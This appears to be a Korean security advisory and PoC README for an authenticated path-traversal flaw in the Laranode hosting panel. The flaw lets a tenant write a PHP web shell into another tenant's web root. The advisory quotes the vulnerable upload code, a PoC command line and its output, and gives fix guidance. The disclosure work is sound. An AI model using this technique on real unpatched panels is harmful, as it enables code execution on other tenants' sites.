
Path Traversal -> Laranode < 1.2.1의 RCE (CWE-22). PoC + 권고문 작성.
허가된 보안 연구. 방어 및 교육 목적으로만 사용되는 PoC입니다.
Laranode의 파일 관리자 업로드 엔드포인트에서 발생하는 인증된 경로 순회 취약점을 통해, 낮은 권한의 테넌트가 자신의 홈 디렉터리 외부에 임의의 파일을 작성할 수 있습니다 — 다른 테넌트의 웹 루트에 PHP 웹 셸을 심는 것도 가능하며 — 이는 해당 테넌트 권한으로의 원격 코드 실행으로 이어집니다.
| CVE | CVE-2026-100520 |
| 제품 | Laranode (멀티 테넌트 호스팅 제어판, Laravel) |
| 영향 받는 버전 | >= 0, < 1.2.1 |
| 수정된 버전 | v1.2.1 |
| 취약점 | 경로 순회 (CWE-22) → 임의 파일 쓰기 → RCE |
| 권한 | 인증됨 (모든 낮은 권한의 패널 사용자) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| 발견자 | Alisher Qarshibayev |
| 권고문 | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php는 사용자가 제공한 path 및 originalName 요청 필드를 테넌트의 홈 디렉터리에 직접 연결하여 대상 경로를 구성합니다 — 정규화도, 순회 검사도 없이:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- 공격자 제어, 정제되지 않음
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- 순회 싱크
File::append($path . '/' . $r->originalName, $file->get()); // <-- 임의 쓰기
이 라우트는 auth 뒤에만 위치해 있어, 인증된 모든 테넌트가 접근할 수 있습니다:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
path가 ../ 시퀀스를 허용하기 때문에, ../victim/public_html과 같은 값은 호출자의 홈 디렉터리를 벗어나 업로드를 다른 테넌트의 웹 루트에 떨어뜨립니다. 그곳에 .php 파일을 작성하면 HTTP로 요청되는 순간 코드 실행이 이루어집니다.
요구 사항: 대상 Laranode 인스턴스에 대한 유효한 낮은 권한 계정 (이것이 CVE가 가정하는 권한입니다). PoC는 로그인하여 CSRF 토큰을 가져오고, 순회를 통해 형제 테넌트의 웹 루트에 마커 PHP 파일을 작성합니다.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
예상 결과 — 서버가 공격자의 홈 외부에 대한 쓰기 대상을 확인합니다:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
poc.py를 참조하세요. 마커 셸은 실행을 증명하기 위해 id/uname만 실행합니다 — 파괴적인 동작은 없습니다.
Laranode 1.2.1로 업그레이드하세요 (수정 커밋).
이 수정은 해석된 경로를 정규화하고 테넌트 홈 디렉터리를 벗어나는 모든 대상을 거부합니다 (realpath() 포함 검사). 일반적인 지침: 원시 사용자 입력으로 파일 시스템 경로를 구성하지 말고 — 정규화한 후 결과가 허용된 기본 디렉터리 내에 머무는지 확인하세요.
| 날짜 | 이벤트 |
|---|---|
| 2026-09-21 | 공개 공개 날짜 |
| 2026-09-26 | CVE-2026-100520 예약 및 게시 (VulnCheck) |
벤더에 책임 있게 공개되었고 VulnCheck를 통해 조정되었습니다. 이 PoC가 공개되기 전에 v1.2.1에서 수정되었습니다. 방어 및 교육 목적으로 게시되었습니다.